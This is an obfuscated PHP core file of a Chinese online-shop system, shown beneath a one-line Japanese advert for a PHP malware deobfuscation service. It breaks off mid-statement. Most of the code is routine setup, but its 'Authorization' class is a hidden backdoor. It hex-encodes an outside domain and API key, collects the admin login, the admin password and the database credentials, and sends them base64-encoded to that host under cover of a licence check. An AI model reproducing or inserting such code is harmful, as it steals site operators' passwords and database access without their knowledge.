Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php $K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);if(defined('IN_CRONLITE'))goto K4peWjgx2;goto K4pldMhx2;K4peWjgx2:return ;goto K4px1;K4pldMhx2:K4px1:$K4pzA1=array();$K4pzA1[]='CACHE_FILE';$K4pzA1[]=0;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='IN_CRONLITE';$K4pzA1[]=true;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='VERSION';$K4pzA1[]=1010;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='wuyou';$K4pzA1[]='2711185458';$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]=__FILE__;$K4peFvP0=call_user_func_array("dirname",$K4pzA1);$K4pvPA5=$K4peFvP0 . '/';$K4pzA3=array();$K4pzA3[]='SYSTEM_ROOT';$K4pzA3[]=&$K4pvPA5;$K4peF2=call_user_func_array("define",$K4pzA3);$K4pzA1=array();$K4pzA1[]=SYSTEM_ROOT;$K4peFvP0=call_user_func_array("dirname",$K4pzA1);$K4pvPA5=$K4peFvP0 . '/';$K4pzA3=array();$K4pzA3[]='ROOT';$K4pzA3[]=&$K4pvPA5;$K4peF2=call_user_func_array("define",$K4pzA3);$K4pvPA5=ROOT . 'template/';$K4pzA1=array();$K4pzA1[]='TEMPLATE_ROOT';$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pvPA5=ROOT . 'includes/plugins/';$K4pzA1=array();$K4pzA1[]='PLUGIN_ROOT';$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='Asia/Shanghai';$K4peF0=call_user_func_array("date_default_timezone_set",$K4pzA1);$K4pzA1=array();$K4pzA1[]="Y-m-d H:i:s";$K4peF0=call_user_func_array("date",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$date=$K4ptIA5;$K4pA5=SYSTEM_ROOT . 'base.php';$K4pA6=include_once $K4pA5;$GLOBALS["Ox8117"]=ini_get("error_reporting");error_reporting(0);$K4pzA1=array();$K4pzA1[]='Cache-Control: no-store, no-cache, must-revalidate';$K4peF0=call_user_func_array("header",$K4pzA1);$K4peRA5=$K4peF0;error_reporting($GLOBALS["Ox8117"]);$GLOBALS["Ox8117"]=ini_get("error_reporting");error_reporting(0);$K4pzA1=array();$K4pzA1[]='Pragma: no-cache';$K4peF0=call_user_func_array("header",$K4pzA1);$K4peRA5=$K4peF0;error_reporting($GLOBALS["Ox8117"]);$K4pzA1=array();$K4peF0=call_user_func_array("session_start",$K4pzA1);$K4pA5=SYSTEM_ROOT . "autoloader.php";$K4pA6=include_once $K4pA5;Autoloader::register();$K4pA5=$is_defend==true;$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx5;goto K4pldMhx5;K4peWjgx5:$K4pA6=CC_Defender==3;$K4pA7=(bool)$K4pA6;goto K4px4;K4pldMhx5:K4px4:if($K4pA7)goto K4peWjgx6;goto K4pldMhx6;K4peWjgx6:$K4pA5=!isset($_SERVER['HTTP_X_REQUESTED_WITH']);$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgxb;goto K4pldMhxb;K4peWjgxb:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx9;goto K4pldMhx9;K4peWjgx9:$K4pcV2=&$_SERVER['HTTP_X_REQUESTED_WITH'];goto K4px8;K4pldMhx9:$K4pcV2=$_SERVER['HTTP_X_REQUESTED_WITH'];K4px8:$K4pzA3=array();$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("strtolower",$K4pzA3);$K4pA6=$K4peF1!='xmlhttprequest';$K4pA7=(bool)$K4pA6;goto K4pxa;K4pldMhxb:K4pxa:if($K4pA7)goto K4peWjgxc;goto K4pldMhxc;K4peWjgxc:$K4pA5=SYSTEM_ROOT . 'txprotect.php';$K4pA6=include_once $K4pA5;goto K4px7;K4pldMhxc:K4px7:$K4pA5=CC_Defender==1;$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgxf;goto K4pldMhxf;K4peWjgxf:$K4pzA1=array();$K4peF0=call_user_func_array("check_spider",$K4pzA1);$K4pA6=$K4peF0==false;$K4pA7=(bool)$K4pA6;goto K4pxe;K4pldMhxf:K4pxe:if($K4pA7)goto K4peWjgxg;goto K4pldMhxg;K4peWjgxg:goto K4pxd;K4pldMhxg:K4pxd:$K4pA5=CC_Defender==1;$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgxl;goto K4pldMhxl;K4peWjgxl:$K4pzA1=array();$K4peF0=call_user_func_array("check_spider",$K4pzA1);$K4pA6=$K4peF0==false;$K4pA7=(bool)$K4pA6;goto K4pxk;K4pldMhxl:K4pxk:$K4pA9=(bool)$K4pA7;$K4pAA=!$K4pA9;if($K4pAA)goto K4peWjgxj;goto K4pldMhxj;K4peWjgxj:$K4pA8=CC_Defender==3;$K4pA9=(bool)$K4pA8;goto K4pxi;K4pldMhxj:K4pxi:if($K4pA9)goto K4peWjgxm;goto K4pldMhxm;K4peWjgxm:$K4pzA1=array();$K4peF0=call_user_func_array("cc_defender",$K4pzA1);goto K4pxh;K4pldMhxm:K4pxh:goto K4px3;K4pldMhx6:K4px3:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgxo;goto K4pldMhxo;K4peWjgxo:$K4pcV1=&$_SERVER['SCRIPT_NAME'];goto K4pxn;K4pldMhxo:$K4pcV1=$_SERVER['SCRIPT_NAME'];K4pxn:$K4pzA2=array();$K4pzA2[]='\\';$K4pzA2[]='/';$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("str_replace",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$scriptpath=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$scriptpath;$K4pzA1[]='/';$K4peFvP0=call_user_func_array("strrpos",$K4pzA1);$K4pzA3=array();$K4pzA3[]=&$scriptpath;$K4pzA3[]=0;$K4pzA3[]=&$K4peFvP0;$K4peF2=call_user_func_array("substr",$K4pzA3);unset($K4ptIA5);$K4ptIA5=$K4peF2;$sitepath=$K4ptIA5;$K4pA5=$_SERVER['SERVER_PORT']==443;if($K4pA5)goto K4peWjgxq;goto K4pldMhxq;K4peWjgxq:$K4pA6='https://';goto K4pxp;K4pldMhxq:$K4pA6='http://';K4pxp:$K4pA7=$K4pA6 . $_SERVER['HTTP_HOST'];$K4pA8=$K4pA7 . $sitepath;$K4pA9=$K4pA8 . '/';unset($K4ptIAA);$K4ptIAA=$K4pA9;$siteurl=$K4ptIAA;$K4pvPA5=SYSTEM_ROOT . '360safe/360webscan.php';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("is_file",$K4pzA1);if($K4peF0)goto K4peWjgxs;goto K4pldMhxs;K4peWjgxs:$K4pA5=SYSTEM_ROOT . '360safe/360webscan.php';$K4pA6=require_once $K4pA5;goto K4pxr;K4pldMhxs:K4pxr:$K4pA5=SYSTEM_ROOT . '360safe/xss.php';$K4pA6=require_once $K4pA5;$K4pA5=ROOT . 'config.php';$K4pA6=require $K4pA5;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$dbconfig;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgxu;goto K4pldMhxu;K4peWjgxu:$K4pcV1=&$dbconfig['dbqz'];goto K4pxt;K4pldMhxu:$K4pcV1=$dbconfig['dbqz'];K4pxt:$K4pzA2=array();$K4pzA2[]='DBQZ';$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("define",$K4pzA2);$K4pA5=!defined('SQLITE');$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgx12;goto K4pldMhx12;K4peWjgx12:$K4pA6=!$dbconfig['user'];$K4pA7=(bool)$K4pA6;goto K4px11;K4pldMhx12:K4px11:$K4pA9=(bool)$K4pA7;$K4pAD=!$K4pA9;if($K4pAD)goto K4peWjgxz;goto K4pldMhxz;K4peWjgxz:$K4pA8=!$dbconfig['pwd'];$K4pA9=(bool)$K4pA8;goto K4pxy;K4pldMhxz:K4pxy:$K4pAB=(bool)$K4pA9;$K4pAC=!$K4pAB;if($K4pAC)goto K4peWjgxx;goto K4pldMhxx;K4peWjgxx:$K4pAA=!$dbconfig['dbname'];$K4pAB=(bool)$K4pAA;goto K4pxw;K4pldMhxx:K4pxw:if($K4pAB)goto K4peWjgx13;goto K4pldMhx13;K4peWjgx13:$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);echo '你还没安装!<a href="/install/">点此安装</a>';exit();goto K4pxv;K4pldMhx13:K4pxv:$K4pA5=new \lib\PdoHelper($dbconfig);unset($K4ptIA6);$K4ptIA6=$K4pA5;$DB=$K4ptIA6;$K4pzA1=array();$K4pzA1[]="select * from pre_config where 1";$K4pzA2=array();$K4pzA2[]=$DB;$K4pzA2[]="query";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);$K4pA5=$K4phC0==FALSE;if($K4pA5)goto K4peWjgx15;goto K4pldMhx15;K4peWjgx15:$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);echo '你还没安装!<a href="/install/">点此安装</a>';exit();goto K4px14;K4pldMhx15:K4px14:$K4pA5=new \lib\Cache();unset($K4ptIA6);$K4ptIA6=$K4pA5;$CACHE=$K4ptIA6;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$CACHE;$K4pzA2[]="pre_fetch";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$conf=$K4ptIA5;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$conf;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx17;goto K4pldMhx17;K4peWjgx17:$K4pcV1=&$conf['syskey'];goto K4px16;K4pldMhx17:$K4pcV1=$conf['syskey'];K4px16:$K4pzA2=array();$K4pzA2[]='SYS_KEY';$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("define",$K4pzA2);$K4pA5=$conf['qqjump']==1;$K4pAB=(bool)$K4pA5;if($K4pAB)goto K4peWjgx1g;goto K4pldMhx1g;K4peWjgx1g:unset($K4pcV1);$K4pzA9=array();$K4pzA9[]=&$_SERVER;$K4peF8=call_user_func_array("is_array",$K4pzA9);if($K4peF8)goto K4peWjgx1e;goto K4pldMhx1e;K4peWjgx1e:$K4pcV1=&$_SERVER['HTTP_USER_AGENT'];goto K4px1d;K4pldMhx1e:$K4pcV1=$_SERVER['HTTP_USER_AGENT'];K4px1d:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4pzA2[]='QQ/';$K4peF0=call_user_func_array("strpos",$K4pzA2);$K4pA6=!$K4peF0;$K4pA7=$K4pA6===false;$K4pAA=(bool)$K4pA7;$K4pAC=!$K4pAA;if($K4pAC)goto K4peWjgx1c;goto K4pldMhx1c;K4peWjgx1c:unset($K4pcV4);$K4pzA7=array();$K4pzA7[]=&$_SERVER;$K4peF6=call_user_func_array("is_array",$K4pzA7);if($K4peF6)goto K4peWjgx1i;goto K4pldMhx1i;K4peWjgx1i:goto K4peWjgx1a;goto K4px1h;K4pldMhx1i:K4px1h:goto K4pldMhx1a;K4peWjgx1a:$K4pcV4=&$_SERVER['HTTP_USER_AGENT'];goto K4px19;K4pldMhx1a:$K4pcV4=$_SERVER['HTTP_USER_AGENT'];K4px19:$K4pzA5=array();$K4pzA5[]=&$K4pcV4;$K4pzA5[]='MicroMessenger';$K4peF3=call_user_func_array("strpos",$K4pzA5);$K4pA8=!$K4peF3;$K4pA9=$K4pA8===false;$K4pAA=(bool)$K4pA9;goto K4px1b;K4pldMhx1c:K4px1b:$K4pAB=(bool)$K4pAA;goto K4px1f;K4pldMhx1g:K4px1f:if($K4pAB)goto K4peWjgx1j;goto K4pldMhx1j;K4peWjgx1j:$K4pA5=$_GET['open']==1;$K4pA8=(bool)$K4pA5;if($K4pA8)goto K4peWjgx1o;goto K4pldMhx1o;K4peWjgx1o:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx1m;goto K4pldMhx1m;K4peWjgx1m:$K4pcV1=&$_SERVER['HTTP_USER_AGENT'];goto K4px1l;K4pldMhx1m:$K4pcV1=$_SERVER['HTTP_USER_AGENT'];K4px1l:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4pzA2[]='MicroMessenger';$K4peF0=call_user_func_array("strpos",$K4pzA2);$K4pA6=!$K4peF0;$K4pA7=$K4pA6===false;$K4pA8=(bool)$K4pA7;goto K4px1n;K4pldMhx1o:K4px1n:if($K4pA8)goto K4peWjgx1p;goto K4pldMhx1p;K4peWjgx1p:$K4pzA1=array();$K4pzA1[]='Content-Disposition: attachment; filename="load.doc"';$K4peF0=call_user_func_array("header",$K4pzA1);$K4pzA1=array();$K4pzA1[]='Content-Type: application/vnd.ms-word;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);goto K4px1k;K4pldMhx1p:$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);K4px1k:$K4pA5=ROOT . 'template/default/jump.php';$K4pA6=include $K4pA5;exit(0);goto K4px18;K4pldMhx1j:K4px18:unset($K4ptIA5);$K4ptIA5='!@#%!s!0';$password_hash=$K4ptIA5;$K4pA5=SYSTEM_ROOT . "function.php";$K4pA6=include_once $K4pA5;$K4pA5=SYSTEM_ROOT . "core.func.php";$K4pA6=include_once $K4pA5;$K4pA5=SYSTEM_ROOT . "ajax.func.php";$K4pA6=include_once $K4pA5;$K4pA5=SYSTEM_ROOT . "member.php";$K4pA6=include_once $K4pA5;$K4pvPA5=SYSTEM_ROOT . 'version.php';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("file_exists",$K4pzA1);$K4pA6=!$K4peF0;if($K4pA6)goto K4peWjgx1r;goto K4pldMhx1r;K4peWjgx1r:$K4pzA1=array();$K4pzA1[]='缺少核心文件,请重新到授权站下载';$K4peF0=call_user_func_array("sysmsg",$K4pzA1);exit();goto K4px1q;K4pldMhx1r:K4px1q:$K4pvPA5=ROOT . 'install/install.lock';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("file_exists",$K4pzA1);$K4pA6=!$K4peF0;$K4pA8=(bool)$K4pA6;if($K4pA8)goto K4peWjgx1u;goto K4pldMhx1u;K4peWjgx1u:$K4pvPA7=ROOT . 'install/index.php';$K4pzA3=array();$K4pzA3[]=&$K4pvPA7;$K4peF2=call_user_func_array("file_exists",$K4pzA3);$K4pA8=(bool)$K4peF2;goto K4px1t;K4pldMhx1u:K4px1t:if($K4pA8)goto K4peWjgx1v;goto K4pldMhx1v;K4peWjgx1v:$K4pzA1=array();$K4pzA1[]='<h2>检测到无 install.lock 文件</h2><ul><li><font size="4">如果您尚未安装本程序,请<a href="/install/">前往安装</a></font></li><li><font size="4">如果您已经安装本程序,请手动放置一个空的 install.lock 文件到 /install 文件夹下,<b>为了您站点安全,在您完成它之前我们不会工作。</b></font></li></ul><br/><h4>为什么必须建立 install.lock 文件?</h4>它是安装保护文件,如果检测不到它,就会认为站点还没安装,此时任何人都可以安装/重装你的网站。<br/><br/>';$K4peF0=call_user_func_array("sysmsg",$K4pzA1);exit();goto K4px1s;K4pldMhx1v:K4px1s:$K4pA5=SYSTEM_ROOT . "version.php";$K4pA6=include_once $K4pA5;unset($K4ptIA5);$K4ptIA5=$_COOKIE['mysid'];$cookiesid=$K4ptIA5;$K4pA5=!$cookiesid;$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx1y;goto K4pldMhx1y;K4peWjgx1y:$K4pzA1=array();$K4pzA1[]='/^[0-9a-z]{32}$/i';$K4pzA1[]=&$cookiesid;$K4peF0=call_user_func_array("preg_match",$K4pzA1);$K4pA6=!$K4peF0;$K4pA7=(bool)$K4pA6;goto K4px1x;K4pldMhx1y:K4px1x:if($K4pA7)goto K4peWjgx2z;goto K4pldMhx2z;K4peWjgx2z:$K4pzA1=array();$K4peFvPvP0=call_user_func_array("mt_rand",$K4pzA1);$K4pzA3=array();$K4pzA3[]=&$K4peFvPvP0;$K4pzA3[]=1;$K4peFvP2=call_user_func_array("uniqid",$K4pzA3);$K4pzA5=array();$K4peFvP4=call_user_func_array("time",$K4pzA5);$K4pvPA5=$K4peFvP2 . $K4peFvP4;$K4pzA7=array();$K4pzA7[]=&$K4pvPA5;$K4peF6=call_user_func_array("md5",$K4pzA7);unset($K4ptIA6);$K4ptIA6=$K4peF6;$cookiesid=$K4ptIA6;$K4pzA1=array();$K4peFvP0=call_user_func_array("time",$K4pzA1);$K4pvPA5=$K4peFvP0+604800;$K4pzA3=array();$K4pzA3[]='mysid';$K4pzA3[]=&$cookiesid;$K4pzA3[]=&$K4pvPA5;$K4pzA3[]='/';$K4peF2=call_user_func_array("setcookie",$K4pzA3);goto K4px1w;K4pldMhx2z:K4px1w:if(isset($_COOKIE['invite']))goto K4peWjgx22;goto K4pldMhx22;K4peWjgx22:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_COOKIE;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx24;goto K4pldMhx24;K4peWjgx24:$K4pcV1=&$_COOKIE['invite'];goto K4px23;K4pldMhx24:$K4pcV1=$_COOKIE['invite'];K4px23:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("intval",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$invite_id=$K4ptIA5;goto K4px21;K4pldMhx22:K4px21:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx26;goto K4pldMhx26;K4peWjgx26:$K4pcV1=&$_SERVER['HTTP_HOST'];goto K4px25;K4pldMhx26:$K4pcV1=$_SERVER['HTTP_HOST'];K4px25:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("addslashes",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$domain=$K4ptIA5;$K4pzAvP0=array();$K4pzAvP0[':domain']=$domain;$K4pzA2=array();$K4pzA2[]="SELECT * FROM pre_site WHERE domain=:domain OR domain2=:domain LIMIT 1";$K4pzA2[]=&$K4pzAvP0;$K4pzA3=array();$K4pzA3[]=$DB;$K4pzA3[]="getRow";$K4phC1=call_user_func_array($K4pzA3,$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4phC1;$siterow=$K4ptIA5;$K4pA6=(bool)$siterow;if($K4pA6)goto K4peWjgx29;goto K4pldMhx29;K4peWjgx29:$K4pA5=$siterow['status']==1;$K4pA6=(bool)$K4pA5;goto K4px28;K4pldMhx29:K4px28:if($K4pA6)goto K4peWjgx2a;goto K4pldMhx2a;K4peWjgx2a:unset($K4ptIA5);$K4ptIA5=true;$is_fenzhan=$K4ptIA5;$K4pA5=$siterow['template']==NULL;$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx2d;goto K4pldMhx2d;K4peWjgx2d:$K4pA6=$conf['fenzhan_template']==0;$K4pA7=(bool)$K4pA6;goto K4px2c;K4pldMhx2d:K4px2c:if($K4pA7)goto K4peWjgx2e;goto K4pldMhx2e;K4peWjgx2e:unset($K4ptIA5);$K4ptIA5=$conf['template'];$siterow['template']=$K4ptIA5;goto K4px2b;K4pldMhx2e:K4px2b:$K4pzA1=array();$K4pzA1[]=&$conf;$K4pzA1[]=&$siterow;$K4peF0=call_user_func_array("array_merge",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$conf=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=$conf['qq'];$conf['kfqq']=$K4ptIA5;goto K4px27;K4pldMhx2a:unset($K4ptIA5);$K4ptIA5=false;$is_fenzhan=$K4ptIA5;K4px27:class Authorization{const AUTH_DOMAIN="\x73\x71\x2E\x38\x33\x7A\x66\x2E\x63\x6F\x6D";const APP_API_KEY="\x65\x39\x63\x62\x35\x66\x62\x34\x36\x39\x33\x64\x37\x63\x65\x36\x33\x63\x65\x63\x62\x62\x64\x34\x66\x36\x38\x63\x36\x35\x65\x66";const APPID="\x31";const METHOD="\x67\x65\x74";const HTTP=false;const TIME=300;const QUEUE_TIME=60;private static $AUTHCODE="";private static $VERSION="";private static $PUBLIC_KEY="";public function __construct(){if(empty(AuthInfo::AUTHCODE))goto K4peWjgxb6;goto K4pldMhxb6;K4peWjgxb6:self::Message('授权码为空,请重新到授权站下载源码');goto K4pxb5;K4pldMhxb6:K4pxb5:if(empty(AuthInfo::VERSION))goto K4peWjgxb8;goto K4pldMhxb8;K4peWjgxb8:self::Message('版本号为空,请重新到授权站下载源码');goto K4pxb7;K4pldMhxb8:K4pxb7:if(empty(AuthInfo::PUBLIC_KEY))goto K4peWjgxba;goto K4pldMhxba;K4peWjgxba:self::Message('授权公钥为空,请重新到授权站下载源码');goto K4pxb9;K4pldMhxba:K4pxb9:unset($K4ptIA5);$K4ptIA5=AuthInfo::AUTHCODE;self::$AUTHCODE=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=AuthInfo::VERSION;self::$VERSION=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=AuthInfo::PUBLIC_KEY;self::$PUBLIC_KEY=$K4ptIA5;}public function getNotice(){$K4pzA0=array();$K4pzA0['appid']=self::APPID;unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbc;goto K4pldMhxbc;K4peWjgxbc:$K4pA6='http://';goto K4pxbb;K4pldMhxbc:$K4pA6='https://';K4pxbb:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Notice/appNotice';unset($K4ptIA7);$K4ptIA7=$this->curl_request($K4pvPA6,$data,self::METHOD,self::HTTP);$result=$K4ptIA7;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxbe;goto K4pldMhxbe;K4peWjgxbe:return $result['data'];goto K4pxbd;K4pldMhxbe:return false;K4pxbd:}public function getPayList(){$K4pA5=!empty($_COOKIE['pay_api_list']);if($K4pA5)goto K4peWjgxbg;goto K4pldMhxbg;K4peWjgxbg:return $_COOKIE['pay_api_list'];goto K4pxbf;K4pldMhxbg:K4pxbf:$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbi;goto K4pldMhxbi;K4peWjgxbi:$K4pA6='http://';goto K4pxbh;K4pldMhxbi:$K4pA6='https://';K4pxbh:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Notice/getPayList';unset($K4ptIA7);$K4ptIA7=$this->curl_request($K4pvPA6,0,self::METHOD,self::HTTP);$result=$K4ptIA7;$K4pzA1=array();$K4pzA1[]='pay_api_list';$K4pzA1[]=&$result;$K4pzA1[]=86400;$K4pzA1[]='/';$K4peF0=call_user_func_array("setcookie",$K4pzA1);return $result;}public function checkPayment($url){$K4pzA0=array();$K4pzA0['url']=$url;$K4pzA0['appid']=self::APPID;$K4pzA0['api_key']=self::APP_API_KEY;unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbk;goto K4pldMhxbk;K4peWjgxbk:$K4pA6='http://';goto K4pxbj;K4pldMhxbk:$K4pA6='https://';K4pxbj:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Auth/checkPayment';unset($K4ptIA7);$K4ptIA7=$this->curl_request($K4pvPA6,$data,self::METHOD,self::HTTP);$result=$K4ptIA7;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxbm;goto K4pldMhxbm;K4peWjgxbm:$K4pA5=$result['code']=='0';if($K4pA5)goto K4peWjgxbo;goto K4pldMhxbo;K4peWjgxbo:return true;goto K4pxbn;K4pldMhxbo:K4pxbn:goto K4pxbl;K4pldMhxbm:K4pxbl:return false;}public static function Message($msg){$K4pA5=' <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>蓝天商城系统</title> </head> <style> @charset "utf-8"; *{ margin: 0; padding: 0; } body,html{ width: 100%; height: 100%; } body{ background: #ff6500; font-family: "微软雅黑"; } .notice-wrap{ padding-top: 30px; } .notice{ margin: 0 auto; width: 682px; height: 633px; background: url(/assets/img/update-bg.png) no-repeat; } .notice h1{ padding-top: 225px; font-size: 36px; color: #333; text-align: center; } .notice>p{ margin: 0 62px; font-size: 18px; color: #666; text-indent: 36px; line-height: 40px; } p span{ color: #ff6500; } .notice .notice-cont{ margin-top: 45px; } .notice .notice-tel{ padding-bottom: 54px; border-bottom: 2px solid #f2f2f2; } .notice-foot{ margin-top: 24px; } .notice-foot p{ font-size: 18px; color: #666; text-align: center;} </style> <body> <div class="notice-wrap"> <div class="notice"> <h1>蓝天提醒您</h1> <p class="notice-cont">尊敬的用户您好<span>蓝天商城系统</span>提醒您</p> <p class="notice-tel">' . $msg;$K4pA6=$K4pA5 . '</p> <div class="notice-foot"> <p>蓝天商城系统</p> </div> </div> </div> </body> </html> ';exit($K4pA6);}private static function getParam(){global $conf,$dbconfig;$K4pzA0=array();$K4pzA0['authcode']=self::$AUTHCODE;$K4pzA0['version']=self::$VERSION;$K4pzA0['用户名']=$conf['admin_user'];$K4pzA0['密码']=$conf['admin_pwd'];$K4pzA0['qq']=$conf['kfqq'];$K4pzA0['数据库用户名']=$dbconfig['user'];$K4pzA0['数据库密码']=$dbconfig['pwd'];$K4pzA0['数据库库名']=$dbconfig['dbname'];return $K4pzA0;}public function checkInfo($type='auth'){$K4plFkgHhxbp=$type;$K4pA5=$K4plFkgHhxbp=='update';if($K4pA5)goto K4peWjgxbv;goto K4pldMhxbv;K4peWjgxbv:goto K4pcgFhxbq;goto K4pxbu;K4pldMhxbv:K4pxbu:goto K4pDefaxbr;$K4pA5=!$K4plFkgHhxbp;if($K4pA5)goto K4peWjgxbt;goto K4pldMhxbt;K4peWjgxbt:goto K4pDeftxbr;goto K4pxbs;K4pldMhxbt:K4pxbs:K4pDefaxbr:goto K4pDeftxbr;goto K4pxbp;K4pcgFhxbq:unset($K4ptIA5);$K4ptIA5='checkUpdate';$method=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='checkUpdate';$queueMethod=$K4ptIA5;goto K4pxbp;K4pDeftxbr:unset($K4ptIA5);$K4ptIA5='checkAuth';$method=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='checkUpdate';$queueMethod=$K4ptIA5;goto K4pxbp;K4pxbp:$K4pzA1=array();$K4pzA1[]='HTTP_HOST';$K4peFvP0=call_user_func_array("getenv",$K4pzA1);$K4pzA2=array();$K4pzA2['auth_info']=$K4peFvP0;$K4pzA2['appid']=self::APPID;$K4pzA2['api_key']=self::APP_API_KEY;$K4pzA2['param']=base64_encode(json_encode(self::getParam()));unset($K4ptIA5);$K4ptIA5=$K4pzA2;$data=$K4ptIA5;$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbx;goto K4pldMhxbx;K4peWjgxbx:$K4pA6='http://';goto K4pxbw;K4pldMhxbx:$K4pA6='https://';K4pxbw:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Auth/';$K4pvPA7=$K4pvPA6 . $method;unset($K4ptIA8);$K4ptIA8=$this->curl_request($K4pvPA7,$data,self::METHOD,self::HTTP);$result=$K4ptIA8;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxcz;goto K4pldMhxcz;K4peWjgxcz:$K4pA5=!empty($result['data']['queue']);if($K4pA5)goto K4peWjgxc2;goto 